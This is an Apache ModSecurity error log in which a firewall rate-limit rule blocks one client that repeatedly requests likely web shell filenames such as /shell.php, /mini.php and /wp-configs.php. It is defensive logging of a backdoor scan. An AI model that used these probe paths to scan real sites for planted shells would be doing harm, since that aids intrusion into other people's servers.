[Wed Jan 21 00:12:31.181644 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.25:3971] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aW-pb_AsOSYVgw_35t3KrAAAAkw"]
[Wed Jan 21 00:12:31.630059 2026] [:error] [pid 56360:tid 56386] [client 20.230.68.25:3781] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aW-pb01J8CD1rR-wXXt9_AAAARg"]
[Wed Jan 21 00:12:32.080640 2026] [:error] [pid 17340:tid 17365] [client 20.230.68.25:4063] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aW-pcPAsOSYVgw_35t3KrwAAAkk"]
[Wed Jan 21 00:12:32.584576 2026] [:error] [pid 54259:tid 54283] [client 20.230.68.25:3982] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aW-pcA2q1USrePnOoFQYeQAAAIY"]
[Wed Jan 21 00:12:33.157803 2026] [:error] [pid 63647:tid 63661] [client 20.230.68.25:3940] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file15.php"] [unique_id "aW-pcVUaYw1xHOoaFFI6EgAAAgw"]
[Wed Jan 21 00:12:33.603380 2026] [:error] [pid 56360:tid 56373] [client 20.230.68.25:3845] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file15.php"] [unique_id "aW-pcU1J8CD1rR-wXXt-BQAAAQs"]
[Wed Jan 21 00:12:34.148081 2026] [:error] [pid 54259:tid 54290] [client 20.230.68.25:4044] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file15.php"] [unique_id "aW-pcg2q1USrePnOoFQYfgAAAI0"]
[Wed Jan 21 00:12:34.725965 2026] [:error] [pid 63647:tid 63671] [client 20.230.68.25:3968] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file15.php"] [unique_id "aW-pclUaYw1xHOoaFFI6HQAAAhY"]
[Wed Jan 21 00:12:35.235586 2026] [:error] [pid 54260:tid 54325] [client 20.230.68.25:3953] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file30.php"] [unique_id "aW-pc9g7jS3jmpUN0WA8qAAAAVE"]
[Wed Jan 21 00:12:35.705173 2026] [:error] [pid 63647:tid 63651] [client 20.230.68.25:3872] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file30.php"] [unique_id "aW-pc1UaYw1xHOoaFFI6IwAAAgI"]
[Wed Jan 21 00:12:36.155249 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.25:4067] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file30.php"] [unique_id "aW-pdPZJhGdrcqZICT-3ygAAAY0"]
[Wed Jan 21 00:12:36.617106 2026] [:error] [pid 54259:tid 54278] [client 20.230.68.25:3840] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file30.php"] [unique_id "aW-pdA2q1USrePnOoFQYhAAAAIE"]
[Wed Jan 21 00:12:37.221951 2026] [:error] [pid 17340:tid 17359] [client 20.230.68.25:3975] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aW-pdfAsOSYVgw_35t3KuQAAAkM"]
[Wed Jan 21 00:12:37.669614 2026] [:error] [pid 54382:tid 54409] [client 20.230.68.25:3969] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aW-pdUTJlZ9SJ6sBOEveaAAAABg"]
[Wed Jan 21 00:12:38.130648 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.25:3918] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aW-pdvZJhGdrcqZICT-3zgAAAYs"]
[Wed Jan 21 00:12:38.600134 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.25:3897] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aW-pdvAsOSYVgw_35t3KvAAAAkU"]
[Wed Jan 21 00:12:39.081218 2026] [:error] [pid 56326:tid 56328] [client 20.230.68.25:3857] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aW-pdxA6mi8Uwf45Uy9ZegAAAMA"]
[Wed Jan 21 00:12:39.518435 2026] [:error] [pid 17340:tid 17364] [client 20.230.68.25:3890] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aW-pd_AsOSYVgw_35t3KvQAAAkg"]
[Wed Jan 21 00:12:39.996204 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.25:3876] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aW-pd4JiHdPVtruynXDZrQAAA1A"]
[Wed Jan 21 00:12:40.477641 2026] [:error] [pid 56326:tid 56344] [client 20.230.68.25:3900] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aW-peBA6mi8Uwf45Uy9ZewAAANA"]
[Wed Jan 21 00:12:40.941331 2026] [:error] [pid 56291:tid 56315] [client 20.230.68.25:3866] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aW-peLXgW_1T5Nikxa0XVAAAAFQ"]
[Wed Jan 21 00:12:41.401601 2026] [:error] [pid 8455:tid 8468] [client 20.230.68.25:4027] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aW-peYJiHdPVtruynXDZsAAAA0s"]
[Wed Jan 21 00:12:41.876698 2026] [:error] [pid 56360:tid 56362] [client 20.230.68.25:3870] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aW-peU1J8CD1rR-wXXt-DQAAAQA"]
[Wed Jan 21 00:12:42.345885 2026] [:error] [pid 17295:tid 17299] [client 20.230.68.25:3966] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hook.php"] [unique_id "aW-pevZJhGdrcqZICT-30gAAAYE"]
[Wed Jan 21 00:12:42.770456 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.25:3883] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aW-pevZJhGdrcqZICT-31QAAAYo"]
[Wed Jan 21 00:12:43.236300 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:3930] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aW-pe_ZJhGdrcqZICT-32QAAAZQ"]
[Wed Jan 21 00:12:43.736760 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.25:3887] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aW-pe_ZJhGdrcqZICT-33gAAAYY"]
[Wed Jan 21 00:12:44.224671 2026] [:error] [pid 17340:tid 17375] [client 20.230.68.25:3884] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aW-pfPAsOSYVgw_35t3KwAAAAlM"]
[Wed Jan 21 00:12:44.671481 2026] [:error] [pid 54259:tid 54285] [client 20.230.68.25:4028] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aW-pfA2q1USrePnOoFQYhgAAAIg"]
[Wed Jan 21 00:12:45.148954 2026] [:error] [pid 56360:tid 56374] [client 20.230.68.25:3719] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aW-pfU1J8CD1rR-wXXt-DgAAAQw"]
[Wed Jan 21 00:12:45.611489 2026] [:error] [pid 8455:tid 8475] [client 20.230.68.25:3903] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aW-pfYJiHdPVtruynXDZtAAAA1I"]
[Wed Jan 21 00:12:46.054462 2026] [:error] [pid 63647:tid 63671] [client 20.230.68.25:4019] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mini.php"] [unique_id "aW-pflUaYw1xHOoaFFI6KwAAAhY"]
[Wed Jan 21 00:12:46.481163 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.25:3965] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aW-pfvZJhGdrcqZICT-34gAAAYk"]
[Wed Jan 21 00:12:46.920528 2026] [:error] [pid 63647:tid 63657] [client 20.230.68.25:3891] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aW-pflUaYw1xHOoaFFI6LAAAAgg"]
[Wed Jan 21 00:12:47.397658 2026] [:error] [pid 63647:tid 63668] [client 20.230.68.25:3945] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aW-pf1UaYw1xHOoaFFI6LgAAAhM"]
[Wed Jan 21 00:12:47.879885 2026] [:error] [pid 56291:tid 56313] [client 20.230.68.25:3861] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aW-pf7XgW_1T5Nikxa0XVwAAAFI"]
[Wed Jan 21 00:12:48.386452 2026] [:error] [pid 56360:tid 56375] [client 20.230.68.25:18942] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aW-pgE1J8CD1rR-wXXt-EQAAAQ0"]
[Wed Jan 21 00:12:48.862160 2026] [:error] [pid 56326:tid 56335] [client 20.230.68.25:3938] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aW-pgBA6mi8Uwf45Uy9ZfwAAAMc"]
[Wed Jan 21 00:12:49.344819 2026] [:error] [pid 63647:tid 63651] [client 20.230.68.25:4008] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aW-pgVUaYw1xHOoaFFI6MQAAAgI"]
[Wed Jan 21 00:12:49.871878 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.25:3898] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plss3.php"] [unique_id "aW-pgUTJlZ9SJ6sBOEvedAAAAA8"]
[Wed Jan 21 00:12:50.371319 2026] [:error] [pid 56326:tid 56330] [client 20.230.68.25:3863] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aW-pghA6mi8Uwf45Uy9ZggAAAMI"]
[Wed Jan 21 00:12:50.902628 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.25:3851] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aW-pgvZJhGdrcqZICT-35gAAAYo"]
[Wed Jan 21 00:12:51.411773 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.25:3783] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aW-pg_ZJhGdrcqZICT-35wAAAYU"]
[Wed Jan 21 00:12:51.924443 2026] [:error] [pid 56360:tid 56368] [client 20.230.68.25:3848] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aW-pg01J8CD1rR-wXXt-EgAAAQY"]
[Wed Jan 21 00:12:52.417265 2026] [:error] [pid 56360:tid 56365] [client 20.230.68.25:3899] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aW-phE1J8CD1rR-wXXt-FQAAAQM"]
[Wed Jan 21 00:12:52.937469 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.25:3970] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aW-phNg7jS3jmpUN0WA8tAAAAUU"]
[Wed Jan 21 00:12:53.372757 2026] [:error] [pid 17295:tid 17315] [client 20.230.68.25:4011] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aW-phfZJhGdrcqZICT-37AAAAZE"]
[Wed Jan 21 00:12:53.790565 2026] [:error] [pid 56360:tid 56382] [client 20.230.68.25:3880] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file1.php"] [unique_id "aW-phU1J8CD1rR-wXXt-GQAAARQ"]
[Wed Jan 21 00:12:54.207680 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.25:3796] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file8.php"] [unique_id "aW-phvZJhGdrcqZICT-37gAAAYM"]
[Wed Jan 21 00:12:54.700995 2026] [:error] [pid 56360:tid 56363] [client 20.230.68.25:3791] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file8.php"] [unique_id "aW-phk1J8CD1rR-wXXt-GwAAAQE"]
[Wed Jan 21 00:12:55.194684 2026] [:error] [pid 63647:tid 63668] [client 20.230.68.25:3894] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file8.php"] [unique_id "aW-ph1UaYw1xHOoaFFI6OgAAAhM"]
[Wed Jan 21 00:12:55.648431 2026] [:error] [pid 17295:tid 17322] [client 20.230.68.25:3882] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file8.php"] [unique_id "aW-ph_ZJhGdrcqZICT-38QAAAZg"]
[Wed Jan 21 00:12:56.143755 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.25:3865] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aW-piE1J8CD1rR-wXXt-HAAAARE"]
[Wed Jan 21 00:12:56.731316 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.25:3869] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aW-piPZJhGdrcqZICT-39QAAAYg"]
[Wed Jan 21 00:12:57.205615 2026] [:error] [pid 63647:tid 63658] [client 20.230.68.25:3782] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aW-piVUaYw1xHOoaFFI6PAAAAgk"]
[Wed Jan 21 00:12:57.704509 2026] [:error] [pid 56326:tid 56332] [client 20.230.68.25:3860] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.kb.php"] [unique_id "aW-piRA6mi8Uwf45Uy9ZiAAAAMQ"]
